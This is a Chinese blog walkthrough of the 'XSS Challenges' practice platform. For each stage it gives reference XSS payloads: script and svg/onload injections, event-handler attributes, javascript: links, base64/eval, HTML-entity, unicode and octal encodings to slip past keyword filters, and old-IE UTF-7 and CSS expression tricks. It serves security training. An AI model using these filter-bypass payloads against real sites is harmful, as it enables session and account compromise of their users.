XSS练习平台【XSS Challenges】

简介: XSS练习平台【XSS Challenges】

每个标题有超链的都是可以直接点击去做那一关,这样就用每次都从第一关开始做了。想做哪关做哪关。


以下来自XSS练习平台----XSS Challenges


这个练习平台没有像alert(1)to win类似的平台一样会给出关键的源代码,并且会在页面给予反馈。这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的f12中搜索(),找出我们控制的代码所在的位置,然后思考那些个位置哪个或哪几个位置可以被注入我们想要的代码,然后结合上下文进行各种脑洞绕过。

在chorme中做题会被防火墙检测为危险代码,解决方案


在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f调出搜索框,可以搜索这个页面用到的所有文本资源的字符串,也可以在Source中先在左边选中对应的文件夹后,用Ctrl+f调出搜索框搜索当前文件字符串


在firefox的话,我用了firebug,直接选中HTML或CSS或脚本,然后在右上方搜索框搜索

即可(选择脚本搜的最全)。


在IE的话,先选择调试程序,然后在右上方搜索框搜索即可。

(暂时知道那么多,还有什么补充的以后再更)


一般思路是测试,看哪些写法或字符被过滤了(单引号,双引号,尖括号,正反斜杠等等),然后构造攻击代码,另外一种方式就是去resources 中,去查看脚本,是哪个脚本执行了什么操作,让变量进入了标签,了解清楚了之后,可以对症下药的创造攻击向量。


闭合标签,只是JS伪协议(javascript:url),

含有JS伪协议的a标签,script代码,


事件(alert,onclick,onmouseover等等),


双写,编码绕过 base64编码eval() atob()函数,


html实体编码


unicode编码某个字符或者插入不可见字符&#09[是unicode编码后的tab],空格绕过(单词之中加空格),

16进制绕过(ascii码对应的16进制)


Stage #1


很简单,没有任何过滤,输出点在标签之间,闭合标签,构造新标签搞定。

参考payload:

dada"</b><script>alert(document.domain)</script>
dada"</b><svg/onload=alert(document.domain)>
dada"</b><IMG SRC=javascript:alert('XSS')>

Stage #2

参考payload:

" onmouseover=alert(document.domain)>
"><script>alert(document.domain)</script>

Stage #3

第一个被转义了,用第二个参数

参考payload:

"><script>alert(document.domain)</script>
<script>alert(document.domain)</script>

Stage #4

抓包尝试发现p1 p2都被过滤了 p3是隐藏的标签没被过滤

参考payload:

"><script>alert(document.domain)</script>
"><svg/onload=alert(document.domain)>%0a

Stage #5


长度限制 抓包解决


参考payload:

dada"><script>alert(document.domain)</script>
dada" onmouseover=javascript:alert(document.domain)
dada" onmouseover=alert(document.domain)
dada"><svg/onload=alert(document.domain)>

Stage #6


与Stage#2几乎一样,也是value参数,唯一不同的是过滤了<>,但没有过滤"(可以闭合前面的属性),这样我们就不可以用新的标签了,但我们可以在标签里面加新的属性,如 " οnmοuseοver=alert(document.domain) name="1类似这样的,onmouseover是把鼠标放在上面就执行的on时间,onclick之类的也是可以的。


参考payload:

dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

Stage #7


和上一题很像,这个题把双引号<>都过滤了


参考payload:

test onmouseover=alert(document.domain)
但以下的也可以 不知道是不是浏览器原因
dada" onmouseover=alert(document.domain)
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1


但是从网上找到的却说是用的空格分割,也算误打误撞吧,


但是上面的payload只要加的双引号中间有空格隔开或者不让其紧挨着出现就可以成功,比如dada" onmouseover=alert(document.domain) " " "。后来看了别人的WP才学习到了,并不是转以后的双引号起了分隔作用,而是双引号后面的空格,空格也可以分隔属性(记住要在空格前面随便加点什么,否则bp提包的时候会自动将空格省略)

Stage #8


题目是输入一条url,然后后台把它包在一个标签里,我们需要点击超链接然后弹窗。所以可以用js伪协议

Stage #9


这一关是利用utf-7编码的,需要环境是IE 7

我用了ie复现也是不能成功,留下个payload吧。


参考payload:

" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-


1.用可以识别UTF-7的IE浏览器


2.把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7


意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)


Stage #10


这个也是value注入点,直接在网页提交发现,题目把domain过滤掉了,所以用可以用双写绕过.


查看源代码,老是不小心看到提示:

s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;


发现过滤了不少东西,


1,script会被替换为xscript 


2,on事件会被替换为onxxx


3,style会被替换为stxxx

尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。

参考payload:

双写绕过:"><script>alert(document.dodomainmain)</script>  
编码绕过:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

Stage #11


也是value注入点,在网页中各种提交姿势试一下,发现script前面加个x,on事件全部不能用(题后看hint也证实了我的猜想)


想到除了on事件和script之外还能执行js的是构造a标签在超链中执行js


构造"><a href=javascript:alert(document)>1</a>< ,发现构造的语句中仍然有script,我们把之中的r进行html实体一下


提交之后f12看下:


发现被渲染成r了,成功弹窗。


(还可以在script中间插入&#09;&#10;,空格等不可见字符对script进行分割,让正则匹配不到)


参考payload:

"><a href=javascript:alert(document)>1</a><"
"><a href=javasc&#114;ipt:alert(document)>1</a><"
"><a href=java&#09;sc&#114;ipt:alert(document)>1</a><"  //&#09; tab制表符html十进制编码
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的换行符,&colon;是冒号


但是用url编码编码r即"><a href=javasc%72ipt:alert(document)>1</a><"查看后发现没有被渲染,但是弹窗,不知道为何。


Stage #12(IE)

利用IE特性`会呗当成单引号


照常尝试,还是value值,过滤了<>和",想用编码能不能绕过(因为过滤了<>",HTML实体是不行的,html实体不能让内容逃出来)


查看提示:

"s/[\x00-\x20\<\>\"\']//g;


把\x00-\x20的字符与及<,>,",'都替换为空。


想着还有什么能够替换空格呢?用 的话还是会没办法跳处value属性。


看了一下sherlock17 大佬的wp,发现了竟然还有一个符号,学到东西了。但是得在IE下才可以。

`

由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。


那么我们的payload可以是

``onmouseover=alert(1)


在IE下成功弹框


参考payload:

``onmouseover=alert(1)

IE

Stage #13(IE)


条件IE7.0 6.0 因为expression语法只存在IE中

照常转义了<>和",F12发现相比以往的题这道题多了一个style属性,那肯定就是从这里入手了。百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)



还有一种利用方法 background:url(javascript:alert('xss'));


参考payload:

xss:expresion(alert(document.doamin))
background:url(javascript:alert('document.domain'))
xss:expr/*XSS*/ession(alert(document.domain));

Stage #14(IE)


还是考的style的东西,但这次增加了过滤。可以用CSS注释/**/插入单词间,或html实体编码,但是&被转义了 。

s/(url|script|eval|expression)/xxx/ig;


把url,script,eval,expression关键字都替换为了xxx。

解法就是寻找黑名单之外的关键字,但是我们发现其实我们可以直接用上面的那个

payload:

xss:expr/*XSS*/ession(alert(document.domain));

Stage #15


<> " &被转义了 \被过滤了,所以不能构造html实体,和unicode编码了,但是输入\\发现只过滤了一个,所以就用unicode编码了,(就是\\003c\\003e代替<>换成十六进制编码也就是\\x3c\\x3e也是可以的)


参考payload:

unicode 编码下面的payload
<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e  
因为会过滤一个\ 所以用:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e
<script>alert(document.doamin)</script>同理
\\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f
有几种方过滤的方法:(使用\\ 防止\被转义)字符的ascii码值对应的16进制, \x__ 16进制格式
第一种:换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
第二种:换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
这个是uncode编码方式 解码道方式如下:
String a ="\u003C\u0066\u0072\u006F\u006D\u003E";
System.out.println(new String(a.getBytes(),"utf-8"));
结果:<from>


unicode解码:https://tool.chinaz.com/tools/unicode.aspx

Stage #16


提示说

"document.write();" and "s/\\x/\\\\x/ig;


\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码

看到又有document.write,试了试上题的利用代码,直接过了......看了下hint,发现是替换了\x,那与上题唯一的区别就是十六进制编码不能用了。ps:还有一种编码格式是八进制编码?和unicode编码


参考payload:

\\74img src=x οnerrοr=alert(document.domain)\\76   8进制的
\\u003cimg src=x onerror=alert(document.domain)\\u003e  16进制的unicode

Stage #17(IE 6)


题目说了只能在老ie上复现,那我们就直接看大佬WP好了。


类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。


半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF

JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE

JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE


以上是百度找的,因为没有环境,所以没测试


Stage #18(IE 6)


看了一下别人的wp,17 18两关都是考的字符集的问题,且复现有浏览器要求需要在IE 6上复现。


相关文章
|
6月前
|
JavaScript 前端开发 安全
XSS Challenges 通关解析
XSS Challenges 通关解析
|
6月前
|
前端开发 网络安全
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
【XSS平台】使用(1),网络安全插件化+模块化+组件化+热修复
|
6月前
|
前端开发 网络安全
【XSS平台】使用,网络安全开发必学
【XSS平台】使用,网络安全开发必学
|
6月前
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
318 1
|
6月前
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
135 0
|
SQL 安全 数据库
XSS平台搭建及利用
XSS平台搭建及利用
1646 0
XSS平台搭建及利用
|
存储 弹性计算 安全
阿里云的运用——搭建属于自己的xss平台
在校期间搭建一个属于自己的xss平台
1060 0
阿里云的运用——搭建属于自己的xss平台
|
存储 开发框架 安全
科普跨站平台 XSS shell 使用方法
理解xss shell是什么之前,让我们一起回顾一下一些基本的xss(跨站脚本),xss是最常见的一个漏洞,存在于今天许多的web应用程序。xss是攻击者试图通过web应用程序执行恶意脚本的技术,攻击者通过突破同源策略的web应用程序。
565 0
科普跨站平台 XSS shell 使用方法